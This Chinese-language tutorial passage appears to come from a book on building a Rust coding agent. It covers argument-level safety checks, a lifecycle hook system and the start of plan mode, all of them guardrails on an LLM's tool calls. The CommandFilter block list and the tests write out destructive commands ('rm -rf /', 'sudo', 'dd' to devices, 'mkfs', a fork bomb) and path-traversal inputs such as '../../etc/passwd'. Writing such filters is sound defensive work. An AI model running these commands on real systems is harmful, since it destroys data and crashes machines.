第 13 章的权限引擎拦截每一次工具调用——决定是允许、拒绝还是在执行前询问用户。但判断依据是工具本身,不是参数。自动模式下,write 调用不管目标是 src/main.rs 还是 .env 都会放行。默认模式下,bash 调用不管命令是 ls 还是 rm -rf / 都会提示用户。权限引擎知道谁在敲门,却不查看对方带来了什么。
安全检查填补这个空缺。SafetyChecker 在权限引擎运行之前对工具参数做静态分析,检查实际要写入的路径或实际要执行的命令,阻止那些无论权限模式如何都属于危险的操作。这是纵深防御:即使权限引擎会放行某次调用,安全检查器仍然可以拒绝。
为什么要两层?因为它们防御的失败模式不同。权限引擎防止 LLM 执行用户未授权的操作;安全检查器防止 LLM 执行永远不安全的操作——写入 .env、运行 rm -rf /、执行 fork bomb。设了旁路模式的用户是在说"我信任这个 agent",安全检查器则说"信任也有边界"。
cargo test -p mini-claw-code-starter safety
目标
- 实现
PathValidator,把文件操作限制在单个目录树内,阻止../../etc/passwd之类的路径穿越攻击。 - 实现
CommandFilter,用 glob 模式匹配阻止危险 shell 命令(rm -rf /、sudo、fork bomb)。 - 实现
ProtectedFileCheck,防止对匹配受保护模式的敏感文件(.env、.git/config)进行写入和编辑。 - 通过
SafeToolWrapper把所有检查串联,任何单项安全检查失败都阻止工具调用,并向 LLM 返回描述性错误信息。
SafetyCheck trait 及其实现
安全系统位于 src/safety.rs。参考实现用的是单个 SafetyChecker 结构体,starter 改用基于 trait 的设计:三个职责单一的实现,加一个包装器。
SafetyCheck trait
#![allow(unused)] fn main() { pub trait SafetyCheck: Send + Sync { fn check(&self, tool_name: &str, args: &Value) -> Result<(), String>; } }
每个安全检查实现此 trait。接收工具名称和参数,返回 Ok(()) 表示放行,返回 Err(reason) 表示阻止。trait 要求 Send + Sync,因为安全检查存储在 SafeToolWrapper 内部,而 SafeToolWrapper 实现了 Tool trait,可能被多个异步任务共享。
Rust 核心概念:Send + Sync trait 约束
SafetyCheck 上的 Send + Sync 约束是必要的。工具存储在 Box<dyn Tool> 里,放在 agent 持有的 HashMap 中。在 tokio 这样的异步运行时,agent 的 future 可能在线程间移动。Send 意味着类型可被转移到另一个线程;Sync 意味着 &self 引用可在线程间共享。两者合在一起,保证安全检查能从任何异步任务调用,不产生数据竞争。缺少这些约束,编译器会拒绝把 Box<dyn SafetyCheck> 存入 SafeToolWrapper,因为 SafeToolWrapper 本身必须是 Send + Sync 才能满足 Tool trait 的要求。
PathValidator
#![allow(unused)] fn main() { pub struct PathValidator { allowed_dir: PathBuf, raw_dir: PathBuf, } }
PathValidator 把文件操作限制在单个目录树内。构造时规范化允许目录,之后把每个路径参数与之对比。即使 LLM 执意要求,agent 也无法写入 /etc/passwd 或编辑 ~/.ssh/authorized_keys。
validate_path 方法把相对路径相对于 raw_dir 解析为绝对路径,规范化结果(新文件则规范化其父目录),再用 starts_with 与 allowed_dir 对比。SafetyCheck 的实现只对带 path 参数的工具(read、write、edit)生效。
CommandFilter
#![allow(unused)] fn main() { pub struct CommandFilter { blocked_patterns: Vec<glob::Pattern>, } }
CommandFilter 根据一组阻止 glob 模式检查 bash 命令。rm -rf / 删除一切,sudo 提升权限,:(){:|:&};: 是让系统崩溃的 fork bomb。无论什么上下文,这些命令都不该运行。
default_filters() 构造函数提供了合理的默认值:
#![allow(unused)] fn main() { pub fn default_filters() -> Self { Self::new(&[ "rm -rf /".into(), "rm -rf /*".into(), "sudo *".into(), "> /dev/sda*".into(), "mkfs.*".into(), "dd if=*of=/dev/*".into(), ":(){:|:&};:".into(), ]) } }
ProtectedFileCheck
#![allow(unused)] fn main() { pub struct ProtectedFileCheck { patterns: Vec<glob::Pattern>, } }
ProtectedFileCheck 阻止对匹配受保护 glob 模式的文件进行写入和编辑。同时检查完整路径和仅文件名,所以 .env 这样的模式无论目录如何都能匹配 /project/.env。
SafeToolWrapper
SafeToolWrapper 是把安全检查与工具系统连接起来的桥梁:
#![allow(unused)] fn main() { pub struct SafeToolWrapper { inner: Box<dyn Tool>, checks: Vec<Box<dyn SafetyCheck>>, } }
用 Vec<Box<dyn SafetyCheck>> 包装一个 Box<dyn Tool>。调用 call() 时先运行所有安全检查。任何检查返回 Err,包装器返回 Ok(format!("error: safety check failed: {reason}")) ——注意是带错误信息字符串的 Ok,不是 Err。原因:在 starter 里 Tool::call 返回 anyhow::Result<String>,安全拒绝不是系统错误,而是受控拒绝,LLM 应该看到并据此调整。
#![allow(unused)] fn main() { #[async_trait] impl Tool for SafeToolWrapper { fn definition(&self) -> &ToolDefinition { self.inner.definition() } async fn call(&self, args: Value) -> anyhow::Result<String> { // Run all safety checks. If any returns Err, return the error as a string. // Otherwise, call the inner tool. unimplemented!() } } }
with_check 便捷构造函数用于包装单个检查:
#![allow(unused)] fn main() { pub fn with_check(tool: Box<dyn Tool>, check: impl SafetyCheck + 'static) -> Self { Self::new(tool, vec![Box::new(check)]) } }
这种设计让安全检查可以自由组合。可以同时用 PathValidator、CommandFilter、ProtectedFileCheck 包装一个工具——每个检查独立运行,任何一个失败都阻止调用。
检查的分发流程
flowchart LR
A["SafeToolWrapper.call(args)"] --> B["PathValidator"]
A --> C["CommandFilter"]
A --> D["ProtectedFileCheck"]
B -->|"read/write/edit"| E{"Path inside<br/>allowed_dir?"}
C -->|"bash"| F{"Command<br/>matches blocked<br/>pattern?"}
D -->|"write/edit"| G{"Filename<br/>matches protected<br/>pattern?"}
E -->|No| H["Err: blocked"]
E -->|Yes| I["Ok"]
F -->|Yes| H
F -->|No| I
G -->|Yes| H
G -->|No| I
I --> J["Inner tool.call(args)"]
H --> K["Return error string<br/>to LLM"]
每个 SafetyCheck 实现通过匹配 check 方法里的 tool_name 参数决定自己适用哪些工具:
PathValidator— 对read、write、edit生效。提取path参数,对照允许目录校验。CommandFilter— 仅对bash生效。提取command参数,与阻止模式对比。ProtectedFileCheck— 对write、edit生效。提取path参数,把完整路径和文件名分别与受保护模式对比。
不匹配任何检查的工具直接放行。read 这样的只读工具会被 PathValidator 检查(强制目录边界),但不会被 ProtectedFileCheck 检查(读取 .env 本身不危险——危险在于写入敏感文件)。
每个检查对不处理的工具返回 Ok(()),用无关检查包装工具是无害的——直接放行。
路径校验
PathValidator::validate_path 实现目录包含检查:
#![allow(unused)] fn main() { pub fn validate_path(&self, path: &str) -> Result<(), String> { let target = Path::new(path); // Step 1: resolve to absolute path let resolved = if target.is_absolute() { target.to_path_buf() } else { self.raw_dir.join(target) }; // Step 2: canonicalize (resolves symlinks and ..) let canonical = if resolved.exists() { resolved.canonicalize() .map_err(|e| format!("cannot resolve path: {e}"))? } else { // For new files, canonicalize the parent directory let parent = resolved.parent().ok_or("invalid path")?; if parent.exists() { let mut c = parent.canonicalize() .map_err(|e| format!("cannot resolve parent: {e}"))?; if let Some(filename) = resolved.file_name() { c.push(filename); } c } else { return Err(format!("parent directory does not exist: {}", parent.display())); } }; // Step 3: check containment if canonical.starts_with(&self.allowed_dir) { Ok(()) } else { Err(format!("path {} is outside allowed directory {}", canonical.display(), self.allowed_dir.display())) } } }
关键步骤:
- 解析相对路径:相对于
raw_dir得到绝对路径。 - 规范化目标路径。文件已存在直接规范化;不存在则规范化父目录再追加文件名。这处理了在已有目录中写新文件的常见情况。
- 用
starts_with与规范化的allowed_dir对比。
比简单前缀匹配更健壮——规范化会解析 .. 和符号链接。/project/../etc/passwd 被解析为 /etc/passwd,与 /project 的 starts_with 检查直接失败。
受保护文件的模式匹配
ProtectedFileCheck 用 glob::Pattern 匹配。对每次 write 或 edit 调用,提取路径参数,把完整路径和仅文件名分别与每个模式对比:
#![allow(unused)] fn main() { fn check(&self, tool_name: &str, args: &Value) -> Result<(), String> { match tool_name { "write" | "edit" => { if let Some(path) = args.get("path").and_then(|v| v.as_str()) { for pattern in &self.patterns { // Check full path and filename separately if pattern.matches(path) || pattern.matches( Path::new(path).file_name() .unwrap_or_default() .to_str().unwrap_or(""), ) { return Err(format!( "file `{path}` is protected (matches pattern `{}`)", pattern.as_str() )); } } Ok(()) } else { Ok(()) } } _ => Ok(()), } } }
同时检查完整路径和文件名很重要。.env 这样的模式不管写成完整路径 glob 还是简单文件名,都应该匹配 /project/.env。glob::Pattern crate 负责实际匹配,提供包括通配符和字符类在内的完整 glob 语义。
命令过滤
CommandFilter::is_blocked 根据阻止 glob 模式检查命令:
#![allow(unused)] fn main() { pub fn is_blocked(&self, command: &str) -> Option<&str> { // Trim command, check against each pattern, return matching pattern unimplemented!() } }
与参考实现的子串匹配不同,starter 用 glob::Pattern 匹配命令,模式表达能力更强——"sudo *" 匹配任何以 sudo 开头后接参数的命令,"rm -rf /*" 匹配特定危险模式。
SafetyCheck 的实现只对 bash 工具生效:
#![allow(unused)] fn main() { fn check(&self, tool_name: &str, args: &Value) -> Result<(), String> { // Only check 'bash' tool, extract command, call is_blocked unimplemented!() } }
所有基于模式的方法都有类似局限:可能产生误报(阻止匹配某模式的无害命令)和漏报(遗漏用不同语法表达的危险命令)。对教程而言,模式匹配是合适的权衡——在不引入 shell 解析复杂性的前提下展示了架构。
Claude Code 是怎么做的
Claude Code 的安全检查更复杂,在多个层面运行:
带解析的命令分类。 不是子串匹配,而是结合正则表达式和 shell AST 解析对命令分类。能识别 rm -rf /、rm -r -f /、command rm -rf / 是同一操作,能解析管道和重定向,分别检查管道里的每个命令。我们的方法是平铺字符串扫描——没有结构,没有解析。
路径规范化与符号链接解析。 目录检查前先解析 ../、~、环境变量和符号链接。$HOME/../../../etc/passwd 这样的路径被规范化为 /etc/passwd 再检查。我们的实现直接用路径字面值——精心构造的含 ../ 的路径可能绕过允许目录检查。
感知 Git 的受保护路径。 Claude Code 决定保护内容时会考虑 git 状态。未被跟踪的 .env 文件比被跟踪的受到更强保护——未被跟踪说明它很可能包含被有意排除在版本控制外的真实密钥。我们的实现对所有 .env 文件一视同仁。
严重性级别。 Claude Code 区分应警告和应阻止的操作。写入 .env 可能产生用户可覆盖的警告,运行 rm -rf / 是无条件阻止。我们的 Permission::Deny 只有单一严重性——阻止,不可覆盖。
这个差距是有意为之的。子串匹配和基于前缀的路径检查易于理解,易于测试。它们展示的是安全检查的架构——一个在权限引擎运行前检查参数的独立层——不引入 shell 解析和路径解析的复杂性。理解了 SafetyChecker 在流水线中的位置,就理解了 Claude Code 安全系统的位置。各个检查的复杂度只是实现细节。
安全检查在流水线中的位置
下面展示安全检查和权限引擎如何组合,呈现完整图景。starter 里安全检查通过 SafeToolWrapper 内嵌在工具内部。SimpleAgent 派发工具调用时:
LLM requests tool call
|
v
PermissionEngine.evaluate(tool_name, args)
|--- Deny? --> block, return error to LLM
|--- Ask? --> prompt user
|--- Allow? --> continue
v
SafeToolWrapper.call(args)
|--- SafetyCheck fails? --> return Ok("error: ...") to LLM
|--- All checks pass? --> continue
v
Inner Tool.call(args)
|
v
Return result to LLM
权限引擎先运行(决定工具是否该跑),安全检查在工具调用内部运行。SafeToolWrapper 即使在权限引擎放行的情况下,也会捕获危险参数。包装器返回错误字符串(不是 Err),让 LLM 看到拒绝原因并调整策略。
这意味着安全检查是内层防御。即使用 allow_all() 权限模式,用 SafeToolWrapper 包装的工具仍然阻止写入 .env 或匹配 rm -rf / 的命令。安全包装器是任何权限配置都无法突破的底线。
测试
运行安全检查测试:
cargo test -p mini-claw-code-starter safety
关键测试:
- test_safety_path_within_allowed — 允许目录内的文件通过校验。
- test_safety_path_outside_allowed — 允许目录为临时目录时,
/etc/passwd被拒绝。 - test_safety_path_traversal_blocked —
../../etc/passwd路径穿越被解析并拒绝。 - test_safety_path_new_file_in_allowed — 允许目录中尚不存在的新文件通过校验。
- test_safety_safety_check_read_tool — PathValidator 对
read工具生效,校验 path 参数。 - test_safety_safety_check_ignores_bash — PathValidator 跳过
bash工具(没有path参数可检查)。 - test_safety_command_filter_blocks_rm_rf —
rm -rf /和rm -rf /*均被捕获。 - test_safety_command_filter_blocks_sudo —
sudo rm file匹配sudo *模式。 - test_safety_command_filter_allows_safe —
ls -la、echo hello、cargo test正常放行。 - test_safety_protected_file_blocks_env — 写入
.env和.env.local被阻止。 - test_safety_protected_file_allows_normal — 写入
src/main.rs正常放行。 - test_safety_wrapper_blocks_on_check_failure — 检查失败时,
SafeToolWrapper返回"error: safety check failed"字符串。 - test_safety_wrapper_allows_valid_call — 所有检查通过时,
SafeToolWrapper透传给内层工具。 - test_safety_custom_blocked_commands — 自定义阻止模式(
docker rm *、npm publish*)正常工作。
核心要点
安全检查检查的是工具参数,不是工具身份。权限引擎问"这个工具是否该运行?",安全检查问"这次具体调用危险吗?"两层通过纵深防御组合:即使所有权限都已授予,SafeToolWrapper 仍然阻止写入 .env 和匹配 rm -rf / 的命令。
小结
安全系统在 LLM 和工具执行之间增加了第二道防线:
- 基于 trait 的设计 —
SafetyChecktrait 允许可组合的独立检查。PathValidator、CommandFilter、ProtectedFileCheck各司其职。 - 参数级检查 — 与检查工具身份的权限引擎不同,安全检查审查实际参数:哪个文件被写入,哪个命令被执行。
- SafeToolWrapper — 用
Vec<Box<dyn SafetyCheck>>包装任意Box<dyn Tool>。失败时返回Ok("error: ..."),不是Err,让 LLM 看到拒绝原因并作出调整。 - 基于 glob 的匹配 —
CommandFilter和ProtectedFileCheck都用glob::Pattern匹配,无需自定义代码即可实现丰富匹配。 - 路径规范化 —
PathValidator在检查前规范化路径,防止通过..或符号链接绕过。 - 纵深防御 — 安全检查在工具调用内部运行。即使用
allow_all()权限模式,被包装的工具仍然强制安全规则。
这一架构——可组合的、检查参数的、包装工具的检查——展示了 Claude Code 所用的同款纵深防御模式。
下一步
第 15 章:Hook 系统中,你将构建 pre-tool 和 post-tool hook——在工具执行前后运行的 shell 命令。hook 让用户强制执行内置安全检查器之外的自定义策略:每次编辑后运行 linter、阻止写入特定目录、记录每条 bash 命令。安全检查器是内置守卫,hook 是用户定义的守卫。
自测
← 第 13 章:权限引擎 · 目录 · 第 15 章:Hook →
第 15 章:Hook 系统
需要编辑的文件:
src/hooks.rs运行测试:cargo test -p mini-claw-code-starter hooks预计用时: 40 分钟
第 13 章的权限引擎决定工具调用是否执行。第 14 章的安全检查在用户看到提示之前就捕获危险模式。但这两个系统都内嵌在 agent 里——强制执行的是你这位开发者在编译时选择的规则。用户的需求呢?
用户有 agent 作者无法预料的策略。团队可能要求把每条 bash 命令记录到审计文件。某个项目可能要求文件写入只能发生在特定目录。CI 流水线可能需要每次编辑后运行 linter。这些不是"防止 rm -rf /"意义上的安全检查——它们是在运行时扩展 agent 行为的工作流 hook。
本章构建 hook 系统。Hook 是事件驱动的:在关键生命周期节点(工具调用前、工具调用后、agent 启动时、agent 结束时)触发,可以观察、修改或阻止执行。基于 trait 的设计意味着任何人都可以实现 hook——用于调试的日志 hook、用于策略执行的阻止 hook、把决策委托给外部命令的 shell hook。
cargo test -p mini-claw-code-starter hooks
目标
- 定义
HookEvent枚举,包含四个生命周期节点(AgentStart、PreToolCall、PostToolCall、AgentEnd),每个节点携带相关上下文数据。 - 实现
Hooktrait 和HookRegistry分发逻辑:Block短路退出,ModifyArgs累积,Continue为默认值。 - 构建三个具体 hook:
LoggingHook(观察所有事件)、BlockingHook(拒绝特定工具)、ShellHook(委托给外部命令)。 - 确保 hook 正确组合——注册顺序决定优先级,阻止 hook 阻止后续 hook 运行。
事件模型
写代码之前,先定义 hook 何时触发。第 7 章的 agent 循环有清晰的生命周期:
User prompt arrives
-> AgentStart
-> Provider returns tool calls
-> PreToolCall (for each tool)
-> Tool executes
-> PostToolCall (for each tool)
-> Provider returns final answer
-> AgentEnd
sequenceDiagram
participant Agent
participant Registry as HookRegistry
participant Tool
Agent->>Registry: dispatch(AgentStart)
loop For each tool call
Agent->>Registry: dispatch(PreToolCall)
alt Block returned
Registry-->>Agent: Block(reason)
Agent->>Agent: Return error to LLM
else Continue/ModifyArgs
Registry-->>Agent: Continue or ModifyArgs
Agent->>Tool: tool.call(args)
Tool-->>Agent: result
Agent->>Registry: dispatch(PostToolCall)
end
end
Agent->>Registry: dispatch(AgentEnd)
四个事件,四个外部代码可以介入的节点:
| 事件 | 触发时机 | Hook 可执行的操作 |
|---|---|---|
AgentStart | 第一次调用 provider 之前 | 记录 prompt、初始化状态 |
PreToolCall | 每次工具执行之前 | 阻止调用、修改参数 |
PostToolCall | 每次工具执行之后 | 记录结果、触发后续操作 |
AgentEnd | 最终响应之后 | 记录响应、清理状态 |
这种不对称是有意为之的。PreToolCall 可以阻止或修改,因为工具还没跑——还有时间介入。PostToolCall 无法阻止,工具已经跑完,阻止毫无意义,只能观察。
核心类型
打开 src/hooks.rs。模块定义三种类型:HookEvent、HookAction 和 Hook trait。
HookEvent
#![allow(unused)] fn main() { #[derive(Debug, Clone)] pub enum HookEvent { PreToolCall { tool_name: String, args: Value, }, PostToolCall { tool_name: String, args: Value, result: String, }, AgentStart { prompt: String, }, AgentEnd { response: String, }, } }
每个变体携带与其生命周期节点相关的数据。PreToolCall 携带工具名称和参数——hook 决定是否允许或修改调用所需的一切。PostToolCall 额外包含结果字符串。AgentStart 和 AgentEnd 分别携带用户 prompt 和最终响应。
枚举派生了 Clone,因为 HookRegistry 通过共享引用(&HookEvent)依次把事件传给每个 hook。需要存储事件的 hook(如 LoggingHook)会克隆;只需检查事件的 hook(如 BlockingHook)直接借用,不克隆。
HookAction
#![allow(unused)] fn main() { #[derive(Debug, Clone, PartialEq)] pub enum HookAction { Continue, Block(String), ModifyArgs(Value), } }
三种可能响应,按严重程度排列:
Continue— 默认值。hook 没有异议,执行正常继续。Block(reason)— 停止工具调用。原因字符串作为错误消息返回给 LLM,让它明白调用为何被拒绝,从而调整策略。ModifyArgs(new_args)— 在执行前替换工具参数。这是 hook 在不完全阻止调用的情况下注入默认值、规范化路径或强制约束的方式。
HookAction 派生了 PartialEq,测试可以用 assert_eq! 断言特定动作。这纯粹是测试便利——运行时用模式匹配,不用相等性检查。
Hook trait
#![allow(unused)] fn main() { #[async_trait] pub trait Hook: Send + Sync { async fn on_event(&self, event: &HookEvent) -> HookAction; } }
一个方法。接收事件引用,返回动作。trait 要求 Send + Sync,因为 hook 存储在 HookRunner 内部,runner 可能被多个异步任务共享。async_trait 属性处理对返回 future 进行 box 的常规操作。
与第 6 章的 Tool trait 模式相同——一个接受结构化输入、返回结构化输出的单一异步方法。区别在于范围:工具与外部世界交互(文件系统、shell),hook 与 agent 自身的执行交互。
HookRegistry
单个 hook 有用,但真正的价值在于组合。HookRegistry 持有 hook 列表,按顺序把事件分发给它们。
#![allow(unused)] fn main() { pub struct HookRegistry { hooks: Vec<Box<dyn Hook>>, } impl HookRegistry { pub fn new() -> Self { Self { hooks: Vec::new() } } pub fn register(&mut self, hook: impl Hook + 'static) { self.hooks.push(Box::new(hook)); } pub fn with(mut self, hook: impl Hook + 'static) -> Self { self.register(hook); self } pub fn is_empty(&self) -> bool { self.hooks.is_empty() } } }
构建器 API 很眼熟——与第 4 章的 ToolSet 相同。with() 获取所有权并返回 self 支持链式调用;register() 用 &mut self 适合命令式代码。两者都接受 impl Hook + 'static,把具体类型 box 成 trait 对象。
dispatch 方法
动作如何组合,是有趣的地方:
#![allow(unused)] fn main() { pub async fn dispatch(&self, event: &HookEvent) -> HookAction { // Iterate hooks in order // If any hook returns Block, return Block immediately // If any hook returns ModifyArgs, remember the new args // If all hooks return Continue (and no ModifyArgs), return Continue unimplemented!() } }
三条规则:
-
Block短路退出。 任何 hook 返回Block,注册表立即停止并返回该动作。后续 hook 不会看到该事件。这是正确行为——策略说"不允许 bash",就没必要再问日志 hook 的意见。 -
ModifyArgs累积。 多个 hook 返回ModifyArgs,最后一个生效。每个修改参数的 hook 覆盖之前的修改。简单但有效——需要更复杂组合(合并参数对象)时,在单个 hook 里封装逻辑即可。 -
Continue是默认值。 没有 hook 表态,执行照常进行。空注册表始终返回Continue。
顺序求值意味着优先级由注册顺序决定。先注册的 hook 先运行。想让阻止 hook 优先于日志 hook,先注册它。
内置 hook
模块提供三个现成的 hook,每个展示不同的使用模式。
LoggingHook
#![allow(unused)] fn main() { pub struct LoggingHook { log: std::sync::Mutex<Vec<String>>, } impl LoggingHook { pub fn new() -> Self { Self { log: std::sync::Mutex::new(Vec::new()), } } pub fn messages(&self) -> Vec<String> { self.log.lock().unwrap().clone() } } #[async_trait] impl Hook for LoggingHook { async fn on_event(&self, event: &HookEvent) -> HookAction { // Format as "pre:{tool_name}", "post:{tool_name}", "agent:start", "agent:end" unimplemented!() } } }
最简单的 hook:记录每个事件的简短描述,从不干预。始终返回 Continue,永远不阻止或修改任何操作。Mutex<Vec<String>> 提供内部可变性——on_event 方法接受 &self(不是 &mut self),所以需要锁才能向 vector 里推入数据。
Rust 核心概念:异步代码中用 Mutex 实现内部可变性
Hook trait 要求 &self(不是 &mut self),因为注册表通过共享引用持有 hook。但 LoggingHook 需要修改内部日志。解决方案是 std::sync::Mutex<Vec<String>>——一个提供互斥访问的锁。on_event 调用 self.log.lock().unwrap() 时,获得对 Vec 的独占访问,推入一条消息,守卫离开作用域时释放锁。
为什么用 std::sync::Mutex 而不是 tokio::sync::Mutex?锁只在 push 操作期间被持有——微秒级,临界区内没有 .await。标准库的 Mutex 对短暂的同步临界区更快。只有需要跨越 .await 点持有锁时,才需要 tokio::sync::Mutex。
starter 里 LoggingHook 记录字符串描述而不是克隆的事件。格式简洁:"pre:bash"、"post:write"、"agent:start"、"agent:end"。这让测试断言更简单——比较字符串而不是匹配枚举变体。
LoggingHook 在测试中很有价值。用一个 LoggingHook 构建注册表,触发一些事件,检查记录了什么。测试正是这样做的。
BlockingHook
#![allow(unused)] fn main() { pub struct BlockingHook { blocked_tools: Vec<String>, reason: String, } impl BlockingHook { pub fn new(blocked_tools: Vec<String>, reason: impl Into<String>) -> Self { Self { blocked_tools, reason: reason.into(), } } } #[async_trait] impl Hook for BlockingHook { async fn on_event(&self, event: &HookEvent) -> HookAction { if let HookEvent::PreToolCall { tool_name, .. } = event { if self.blocked_tools.iter().any(|b| b == tool_name) { return HookAction::Block(self.reason.clone()); } } HookAction::Continue } } }
策略 hook:接受工具名称列表,阻止任何匹配的 PreToolCall 事件。其他事件——PostToolCall、AgentStart、AgentEnd,以及不在列表中工具的 pre-tool 事件——都作为 Continue 放行。
模式匹配是有意为之的。hook 只检查 PreToolCall 事件。被阻止工具的 PostToolCall,什么都不做——工具已经跑完,阻止毫无意义。这正是事件模型表里的不对称,在代码里得到了执行。
可以用 BlockingHook 实现工作区级别策略。比如,只读项目阻止 write、edit、bash:
#![allow(unused)] fn main() { let hook = BlockingHook::new( vec!["write".into(), "edit".into(), "bash".into()], "this workspace is read-only", ); }
LLM 在工具结果里看到阻止原因,本次会话剩余时间内切换到只读工具。
ShellHook
#![allow(unused)] fn main() { pub struct ShellHook { command: String, tool_pattern: Option<glob::Pattern>, } impl ShellHook { pub fn new(command: impl Into<String>) -> Self { Self { command: command.into(), tool_pattern: None, } } pub fn for_tool(mut self, pattern: &str) -> Self { self.tool_pattern = glob::Pattern::new(pattern).ok(); self } fn matches_tool(&self, tool_name: &str) -> bool { match &self.tool_pattern { Some(pattern) => pattern.matches(tool_name), None => true, } } } }
ShellHook 弥合 Rust 代码与外部命令之间的差距。策略不在 Rust 里实现,而是委托给 shell 命令。命令通过退出码表达决策。
for_tool 构建器方法用 glob 模式限制 hook 触发的工具范围。不用它,hook 对所有工具触发。ShellHook::new("cargo fmt --check").for_tool("write") 只在调用 write 工具时触发。
on_event 实现处理 PreToolCall 和 PostToolCall 事件:
#![allow(unused)] fn main() { #[async_trait] impl Hook for ShellHook { async fn on_event(&self, event: &HookEvent) -> HookAction { // Only handle PreToolCall and PostToolCall events // Check matches_tool() first // Run: tokio::process::Command::new("sh").arg("-c").arg(&self.command).output() // Exit code 0 -> Continue, non-zero -> Block with stderr unimplemented!() } } }
执行流程:
-
提取工具名称。 只处理
PreToolCall和PostToolCall事件;AgentStart和AgentEnd立即返回Continue。 -
检查工具模式。 设了
tool_pattern且不匹配工具名称,返回Continue。 -
运行命令。 用
tokio::process::Command启动sh -c <command>。 -
解释退出码。 非零退出意味着"阻止此调用",stderr 被捕获并包含在阻止原因里;零退出意味着
Continue。
一个具体示例——每次文件编辑后运行 linter:
#![allow(unused)] fn main() { let hook = ShellHook::new("cargo fmt --check") .for_tool("write"); }
Claude Code 是怎么做的
Claude Code 的 hook 系统采用相同的事件驱动架构,但通过 settings.json 声明式配置,不用写 Rust 代码。
在 Claude Code 里,hook 定义为带匹配器和命令的 JSON 对象:
{
"hooks": {
"PreToolUse": [
{
"matcher": "bash",
"command": "/path/to/check-bash-command.sh"
}
],
"PostToolUse": [
{
"matcher": "*",
"command": "echo 'Tool $TOOL_NAME completed'"
}
]
}
}
matcher 字段支持对工具名称使用 glob 模式。command 字段是通过环境变量接收上下文的 shell 命令——与我们的 ShellHook 模式相同。pre-tool hook 非零退出阻止调用。Claude Code 的 hook 还能通过向 stdout 写 JSON 来修改工具参数,agent 会解析并应用。
我们基于 trait 的方式通过不同机制提供相同的可扩展性。hook 是实现 Hook trait 的 Rust 类型,而不是 JSON 配置。好处是编译时类型安全,以及能写含复杂逻辑的 hook(BlockingHook 对工具名称列表匹配;LoggingHook 记录结构化事件)。代价是添加新 hook 要写 Rust 代码,不是编辑配置文件。
ShellHook 弥合了这个差距——委托给外部命令,与 Claude Code 的 JSON 配置 hook 一样。生产 agent 可能会结合两种方式:核心策略用内置 hook(Rust 实现),用户自定义用 shell hook(运行时配置)。
测试
运行 hook 系统测试:
cargo test -p mini-claw-code-starter hooks
关键测试:
- test_hooks_logging_hook — LoggingHook 为 PreToolCall 事件记录
"pre:bash"并返回 Continue。 - test_hooks_logging_hook_multiple_events — LoggingHook 按顺序记录所有四种事件类型:
["agent:start", "pre:read", "post:read", "agent:end"]。 - test_hooks_blocking_hook — BlockingHook 对 bash PreToolCall 返回
Block("bash is disabled")。 - test_hooks_blocking_hook_allows_other_tools — BlockingHook 对不在阻止列表中的工具返回 Continue。
- test_hooks_registry_dispatch_continue — 只有 LoggingHook 的注册表返回 Continue。
- test_hooks_registry_dispatch_block — 先注册 LoggingHook 再注册 BlockingHook 的注册表对 bash 返回 Block。
- test_hooks_registry_multiple_hooks_order — 对于未被阻止的事件,两个 hook 都会被调用。
- test_hooks_registry_block_short_circuits — BlockingHook 触发后,其后注册的 hook 不会被调用。
- test_hooks_registry_is_empty — 验证注册前后的
is_empty()。 - test_hooks_post_tool_event — LoggingHook 把 PostToolCall 事件正确格式化为
"post:write"。
核心要点
hook 系统是带三种可能响应的事件总线:观察(Continue)、干预(Block)或转换(ModifyArgs)。注册顺序决定优先级,Block 立即短路。用户由此获得清晰的扩展点,无需修改 agent 核心循环即可执行自定义策略。
小结
本章添加了事件驱动的 hook 系统,让外部代码能在运行时观察、修改、阻止 agent 行为:
-
HookEvent定义四个生命周期节点:AgentStart、PreToolCall、PostToolCall、AgentEnd。每个节点携带与 agent 循环中该节点相关的上下文。 -
HookAction定义三种响应:Continue(正常继续)、Block(以某个原因取消工具调用)、ModifyArgs(替换工具参数)。pre 和 post 事件之间的不对称在 hook 实现中得到了执行——只有 pre-tool hook 才能有意义地阻止。 -
HookRegistry按顺序把事件分发给 hook。Block立即短路;ModifyArgs累积(最后写入者获胜);Continue是空注册表的默认值。 -
LoggingHook把所有事件记录在Mutex<Vec<HookEvent>>里,用于调试和测试,从不干预执行。 -
BlockingHook在PreToolCall事件上按名称阻止特定工具,忽略其他一切。 -
ShellHook通过tokio::process::Command委托给外部 shell 命令。非零退出阻止调用。for_tool()方法用glob::Pattern限制触发命令的工具范围。
hook 系统完成了安全与控制层。权限引擎(第 13 章)执行基于模式的访问规则。安全检查(第 14 章)静态捕获危险模式。Hook(本章)为那些过于具体或过于动态而难以硬编码的策略提供了逃生通道。
下一步
第 16 章——计划模式——把第三部分的所有内容串联起来。计划模式是受限执行模式,只有只读工具能运行。agent 可以读文件、搜索代码、推理任务,但不能写入、编辑或执行命令。权限引擎检查工具类别;安全检查校验参数;hook 触发供观察;但不会发生任何破坏性操作。这是终极护栏:agent 规划,用户审查,然后才开始执行。
自测
← 第 14 章:安全检查 · 目录 · 第 16 章:计划模式 →
第 16 章:Plan 模式
需要编辑的文件:
src/planning.rs运行的测试:cargo test -p mini-claw-code-starter plan预计用时: 50 分钟
agent 现在能读文件、写代码、跑 shell 命令,还有权限系统、安全检查和钩子保护。但有个问题:它一口气把所有事都做完。模型读完文件立刻重写,跑完测试接着往下走——整个过程不间断。模型一旦误解了任务,在你开口说"等等,我不是这个意思"之前,代码库已经被改过了。
Plan 模式把 agent 循环拆成两个阶段来解决这个问题。第一阶段,agent 只用只读工具分析任务——读文件、搜代码、列目录,生成计划。第二阶段,调用方(你,或你的 UI)审查计划,批准后 agent 才用全量工具执行。先思考,再行动。这条建议对人和 agent 同样适用。
这不是纸上谈兵。Claude Code 内置了 plan 模式,用户明确批准计划之前,agent 只能做只读操作。所有严肃的编程 agent 都有类似机制——在提交修改前,让模型先推理一遍。你在第 12 章给工具设置的 is_read_only() 标志,就是为这一刻准备的。
cargo test -p mini-claw-code-starter plan
目标
- 构建有两个独立阶段的
PlanAgent:plan()(只读工具)和execute()(全量工具)。 - 实现
exit_plan虚拟工具,让 LLM 明确发出"规划完毕"信号,无需StopReason::Stop。 - 规划阶段用两层写保护:过滤工具定义让 LLM 看不到写工具,执行时再兜底拦截写工具调用。
- 两个阶段共享消息历史,执行阶段拥有规划阶段的完整上下文。
为什么要单独的 agent?
可以把 plan 模式做成 SimpleAgent 上的一个标志——加个 plan_mode: bool 字段,在 execute_tools 里检查,按需过滤定义。能跑,但把两个关注点混在了一起。SimpleAgent 是通用 agent 循环。Plan 模式是更高层的工作流,有独立的阶段、转换逻辑,还有个不在工具集里的虚拟工具。混在一块会让两者都变乱。
